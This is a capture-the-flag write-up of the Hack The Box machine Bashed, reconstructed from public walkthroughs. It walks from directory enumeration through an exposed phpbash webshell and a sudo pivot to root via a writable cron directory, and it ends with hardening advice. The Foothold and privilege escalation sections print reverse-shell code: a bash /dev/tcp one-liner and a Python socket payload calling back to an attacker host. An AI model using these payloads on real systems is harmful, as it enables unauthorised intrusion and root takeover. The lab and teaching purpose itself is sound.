Summary
This writeup is reconstructed from public walkthroughs (see Source attribution below). I have not personally rooted this box.
Bashed is one of the early-era HTB Linux Easies whose lesson is “directory
enumeration plus a one-step sudo plus a writable cron equals root in three
moves”. The attack surface is intentionally tiny — only tcp/80 is exposed —
and the entire chain is misconfiguration, not memory corruption: a forgotten
development tool (phpbash) is reachable at /dev/phpbash.php and exposes a
PHP-eval webshell that runs as www-data; sudoers lets www-data run any
command as the scriptmanager user with no password; scriptmanager owns
/scripts/, which root traverses once a minute via cron and runs every
*.py file it finds. Three independent admin oversights line up to make the
chain trivial.
The conceptual point of the box is configuration triage: the version banners
are blameless (Apache 2.4.18, OpenSSH not even exposed), so finding the bug
requires noticing what is there but shouldn’t be — a /dev/ directory
listing, a sudo entry that lets a webserver pivot to a non-system account,
and a cron job that pulls scripts from a non-root-owned directory. Each of
those individually would already be a finding in a real engagement; the box
just stacks all three.
Source attribution
Reconstruction is grounded in the following public sources. I have not personally rooted this box; the chain below paraphrases them.
- 0xdf, “HTB: Bashed” — https://0xdf.gitlab.io/2018/04/29/htb-bashed.html.
Primary source. Walks the directory enumeration that surfaced
/dev/, the use of the publicphpbashshell at/dev/phpbash.php, thewww-data → scriptmanagersudo pivot, and the cron-driven Python payload that lands root. - IppSec, “Bashed” video walkthrough — referenced via https://ippsec.rocks/?#Bashed. Cross-check on the directory-enumeration output and the cron-job timing.
- The
phpbashproject on GitHub — https://github.com/Arrexel/phpbash — is the actual webshell present at/dev/phpbash.php. Worth knowing that the box’s own creator authored the tool; the file is genuinely the upstream artifact, not a custom drop-in.
Recon
Full TCP nmap returns a single open port: tcp/80 with Apache. Nothing else — no SSH, no FTP, no SMB. That alone shapes the box: the entire chain has to start from HTTP.
nmap -sC -sV -p- --min-rate=2000 -oN nmap/full.txt <TARGET>
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Apache 2.4.18 is the stock package on Ubuntu 16.04. There is no usable preauth RCE in 2.4.18 itself; the version banner is a dead end and the “recon” energy needs to go into web content rather than into version matching. That is a useful pattern to internalize for HTB Easies in general: when the banner is the only fingerprint and the banner is clean, the bug lives at the application layer, not the service layer.
Web enumeration — directory discovery
Browsing the site reveals a single static landing page describing “phpbash”, a self-contained PHP webshell. The page itself is just documentation; there is no live shell linked from it. The interesting move is to enumerate paths the documentation doesn’t link to.
gobuster dir -u http://<TARGET>/ -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
Among the hits, two stand out:
/dev (Status: 301) → /dev/
/uploads (Status: 301)
Visiting /dev/ returns an open directory listing — the developer
left Options +Indexes (or never disabled the default) on a path that
contains the development build of phpbash. The directory listing
shows two files: phpbash.min.php and phpbash.php. Either one is a
fully-functional webshell.
The educational beat here is that nothing about this is a bug in Apache or in PHP — it is a configuration slip (“we shipped the dev directory to prod and forgot to disable indexes”) combined with a deployment slip (“our dev tool authenticates by URL secrecy, which is no authentication”). A real-world finding in an engagement would phrase it as “exposed development tooling on production server, no authentication” — not as a CVE.
Foothold — /dev/phpbash.php
Navigating to /dev/phpbash.php loads a black terminal-styled page
with a JavaScript-driven prompt. Each command typed into it is
delivered to the server as a request parameter, executed via PHP’s
shell_exec, and the output rendered back inline. There is no
authentication.
www-data@bashed:/var/www/html/dev$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
The webshell is functional but quirky — it doesn’t preserve a TTY, loses interactive programs, and times out on long-running commands. For convenience the standard move is to upgrade to a reverse shell on the attacker side:
# attacker
nc -lvnp 4444
In the phpbash prompt, fire any of the standard one-liners — bash
-c 'bash -i >& /dev/tcp/<ATTACKER>/4444 0>&1' is the cleanest if
/dev/tcp is available, otherwise python -c "import
pty;pty.spawn('/bin/bash')" works against the local Python install.
user.txt lives at /home/arrexel/user.txt and is world-readable;
the user flag is reachable directly from the www-data shell. This
is unusual — most HTB boxes gate the user flag behind a separate
account — but on Bashed the user flag is just there. The lateral
move from www-data to scriptmanager is required for root, not
for user.
User pivot — sudo -u scriptmanager
sudo -l from the www-data shell discloses an explicit sudoers
entry:
www-data@bashed:~$ sudo -l
User www-data may run the following commands on bashed:
(scriptmanager : scriptmanager) NOPASSWD: ALL
That is a complete pivot in one command:
www-data@bashed:~$ sudo -u scriptmanager /bin/bash
scriptmanager@bashed:~$ id
uid=1001(scriptmanager) gid=1001(scriptmanager) groups=1001(scriptmanager)
The point of the pivot is access to /scripts/, a directory owned
by scriptmanager:scriptmanager and writable only by that user.
Listing it shows a couple of innocuous Python files and one curious
artifact: test.txt, last modified within the last minute. A quick
sequence of ls -la /scripts/ calls a few seconds apart shows
test.txt’s mtime ticking forward — which means something is
running the scripts in this directory periodically. The attacker
doesn’t see the cron table directly, but the behavior is the
fingerprint.
Privilege escalation — writable cron-driven scripts
Cron’s job (running as root, every minute) iterates over every
*.py in /scripts/ and runs each through python:
* * * * * cd /scripts; for f in *.py; do python "$f"; done
Because scriptmanager can write into /scripts/, dropping a new
.py file there gets it executed by root within the next 60
seconds. A minimal payload:
# /scripts/.x.py
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("<ATTACKER>", 4445))
os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2)
subprocess.call(["/bin/sh", "-i"])
# attacker
nc -lvnp 4445
Within one minute, a connect-back arrives running as root:
sh-4.3# id
uid=0(root) gid=0(root) groups=0(root)
sh-4.3# cat /root/root.txt
Why each step worked
/dev/directory listing: Apache’s default-onOptions +Indexesplus a developer’s habit of leaving build artifacts reachable from prod is enough to leak entire toolchains. DisableOptions +Indexesand route/devto a 403/404 in production.phpbashis unauthenticated by design: the project’s README says so explicitly. It is meant for trusted, off-internet use. Putting it on a public-facing host is the bug.- Sudoers entry pivoting
www-data → scriptmanager: this is the kind of “we’ll fix it later” entry that exists in real environments because someone wanted the web app to be able to trigger maintenance scripts and didn’t want to set up secure sudoers properly. The category of bug is “service account can pivot to a non-system account that has write on a root-cron directory”. - Cron iterating every
.pyin a non-root-owned directory: the cron job is running as root, but the contents of/scriptsare owned byscriptmanager.crondoesn’t validate the ownership of files it runs; that’s the operator’s job. If the cron job had run asscriptmanager(or if/scriptshad been owned by root), the chain would have stalled.
Counterfactuals
- Disable
Options +Indexesglobally in Apache (in/etc/apache2/apache2.conffor the<Directory /var/www>block) — the directory listing is the entire foothold-enabling discovery. - Move development tooling like
phpbashto a 127.0.0.1-bound vhost or wrap it behind HTTP auth. Better, remove it from production altogether. - Don’t use
NOPASSWD: ALLfor service-account pivots. If the web process needs to run a single maintenance script, sudoers should whitelist exactly that script (Cmnd_Aliaswith a fully-qualified path), and the script itself should be root-owned and immutable. - Cron jobs that iterate over a directory should
find -uid 0 -group 0 -perm -o-wfilter, or — much cleaner — run as the user that owns the directory rather than as root. If root needs to trigger something inscriptmanager’s home, pull rather than push: a root-owned cron that calls a single, root-owned wrapper is safer than root iterating over user-writable files.
Key Takeaways
- An open directory listing on a path that doesn’t show up in the
app’s link graph (
/dev,/admin,/backup) is one of the highest-yield findings during web recon. Always enumerate paths the documentation doesn’t reference. - “phpbash”-style developer webshells are a recurring class on
HTB and in real engagements — the lesson is to grep for
eval/shell_execpatterns in any PHP repo before deployment. - Cron + writable directory = root, every time. When you have a
shell as a non-root user and you don’t see an obvious path, ask
“what runs as root that touches files I can write?” —
pspyor watching mtimes is enough to find it.
References
- 0xdf, “HTB: Bashed” — https://0xdf.gitlab.io/2018/04/29/htb-bashed.html
- IppSec, “Bashed” — https://ippsec.rocks/?#Bashed
- phpbash project — https://github.com/Arrexel/phpbash